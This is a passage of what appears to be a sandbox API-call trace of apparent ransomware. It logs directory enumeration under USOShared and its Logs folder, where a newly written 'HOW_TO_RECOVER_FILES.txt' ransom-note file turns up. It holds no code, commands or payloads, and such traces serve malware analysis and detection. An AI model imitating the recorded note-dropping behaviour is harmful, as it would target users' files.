lpBuffer=0x37c5328*, lpNumberOfBytesWritten=0x202ee408*=0x5d0, lpOverlapped=0x0) returned 1 [0152.223] CloseHandle (hObject=0x7dc) returned 1 [0152.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0152.223] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOShared", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOShared", lpFilePart=0x0) returned 0x1c [0152.223] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOShared\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3dcbdb64, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.224] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3dcbdb64, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.224] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3dcbdb64, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3dcbdb64, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3dd30182, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0152.224] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x17f1e5d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x17f1e5d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0152.224] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x17f1e5d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x17f1e5d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 0 [0152.224] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0152.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0152.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0152.224] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOShared", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOShared", lpFilePart=0x0) returned 0x1c [0152.224] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOShared\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3dcbdb64, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3dcbdb64, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.225] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3dcbdb64, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3dcbdb64, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.225] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3dcbdb64, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3dcbdb64, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3dd30182, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0152.225] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x17f1e5d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x17f1e5d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0152.225] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0152.225] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0152.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0152.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0152.226] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOShared\\Logs", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOShared\\Logs", lpFilePart=0x0) returned 0x21 [0152.226] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x17f1e5d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3da0f1cb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.226] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x17f1e5d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3da0f1cb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.226] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3da0f1cb, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3da0f1cb, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3dcbdb64, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0152.226] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cf76e0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x58d51fd9, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x597705f5, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUx.001.etl", cAlternateFileName="NOBE5B~1.ETL")) returned 1 [0152.226] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cf76e0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7cf76e0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x852e502, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUx.002.etl", cAlternateFileName="NOTIFI~2.ETL")) returned 1 [0152.227] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x2d822f20, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2efd472c, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.001.etl", cAlternateFileName="NO604C~1.ETL")) returned 1 [0152.227] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xfe554d51, ftLastAccessTime.dwHighDateTime=0x1d3375a, ftLastWriteTime.dwLowDateTime=0xfe782447, ftLastWriteTime.dwHighDateTime=0x1d3375a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.002.etl", cAlternateFileName="NO8BA4~1.ETL")) returned 1 [0152.227] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xfdf01be1, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfdfc06a7, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.003.etl", cAlternateFileName="NO3670~1.ETL")) returned 1 [0152.227] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x588b3c6a, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x59ae67c8, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.004.etl", cAlternateFileName="NO2FB3~1.ETL")) returned 1 [0152.227] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xb4b94410, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0xb50917ed, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.005.etl", cAlternateFileName="NO74F7~1.ETL")) returned 1 [0152.227] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x86d6bb14, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x8728eea2, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.006.etl", cAlternateFileName="NOC92C~1.ETL")) returned 1 [0152.227] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe7f77c60, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xebc8ba4e, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.007.etl", cAlternateFileName="NOAEB3~1.ETL")) returned 1 [0152.228] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe1017621, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe10d621a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.008.etl", cAlternateFileName="NO6494~1.ETL")) returned 1 [0152.228] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x2fb7ebe4, ftLastAccessTime.dwHighDateTime=0x1d327d1, ftLastWriteTime.dwLowDateTime=0x2fc89ca0, ftLastWriteTime.dwHighDateTime=0x1d327d1, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.009.etl", cAlternateFileName="NO492C~1.ETL")) returned 1 [0152.228] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xd855139b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd87b395e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.010.etl", cAlternateFileName="NO0EF1~1.ETL")) returned 1 [0152.228] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x1ff683d6, ftLastAccessTime.dwHighDateTime=0x1d327c0, ftLastWriteTime.dwLowDateTime=0x20000d39, ftLastWriteTime.dwHighDateTime=0x1d327c0, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.011.etl", cAlternateFileName="NOC3D2~1.ETL")) returned 1 [0152.228] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x46e2de3d, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x46eecb64, ftLastWriteTime.dwHighDateTime=0x1d327bf, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.012.etl", cAlternateFileName="NOA86A~1.ETL")) returned 1 [0152.228] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x235d058f, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x23917bad, ftLastWriteTime.dwHighDateTime=0x1d327bf, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.013.etl", cAlternateFileName="NO3128~1.ETL")) returned 1 [0152.228] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x8f69453d, ftLastAccessTime.dwHighDateTime=0x1d327b9, ftLastWriteTime.dwLowDateTime=0x8f779518, ftLastWriteTime.dwHighDateTime=0x1d327b9, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.014.etl", cAlternateFileName="NO43D2~1.ETL")) returned 1 [0152.228] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7fb3688d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7fc1b6b8, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.015.etl", cAlternateFileName="NOTIFI~4.ETL")) returned 1 [0152.229] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xcb502d29, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xcb5c1a4e, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.016.etl", cAlternateFileName="NOTIFI~3.ETL")) returned 1 [0152.229] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7b53cfc, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x8be7d51, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.017.etl", cAlternateFileName="NOTIFI~1.ETL")) returned 1 [0152.229] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x17f1e5d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x17f1e5d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.001.etl", cAlternateFileName="UP2DAF~1.ETL")) returned 1 [0152.229] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xde371631, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x2bb800e, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.002.etl", cAlternateFileName="UP3884~1.ETL")) returned 1 [0152.229] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2a522d7b, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x4e6dab1f, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.003.etl", cAlternateFileName="UP8247~1.ETL")) returned 1 [0152.229] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2cbb43aa, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x5454d5b0, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.004.etl", cAlternateFileName="UPD2FC~1.ETL")) returned 1 [0152.229] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x60de6047, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x60de6047, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.005.etl", cAlternateFileName="UPB784~1.ETL")) returned 1 [0152.229] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa72ae253, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0xcb3f3780, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.006.etl", cAlternateFileName="UP7D55~1.ETL")) returned 1 [0152.230] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x5ca8efbc, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x8784f695, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.007.etl", cAlternateFileName="UP52FC~1.ETL")) returned 1 [0152.230] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4346f4fe, ftLastAccessTime.dwHighDateTime=0x1d41dc4, ftLastWriteTime.dwLowDateTime=0x4346f4fe, ftLastWriteTime.dwHighDateTime=0x1d41dc4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.008.etl", cAlternateFileName="UPA721~1.ETL")) returned 1 [0152.230] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x745a10f, ftLastAccessTime.dwHighDateTime=0x1d3aafc, ftLastWriteTime.dwLowDateTime=0x318cac0d, ftLastWriteTime.dwHighDateTime=0x1d3aafc, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.009.etl", cAlternateFileName="UPFC55~1.ETL")) returned 1 [0152.230] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd59be406, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xd59be406, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.010.etl", cAlternateFileName="UPB13B~1.ETL")) returned 1 [0152.230] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x198319d2, 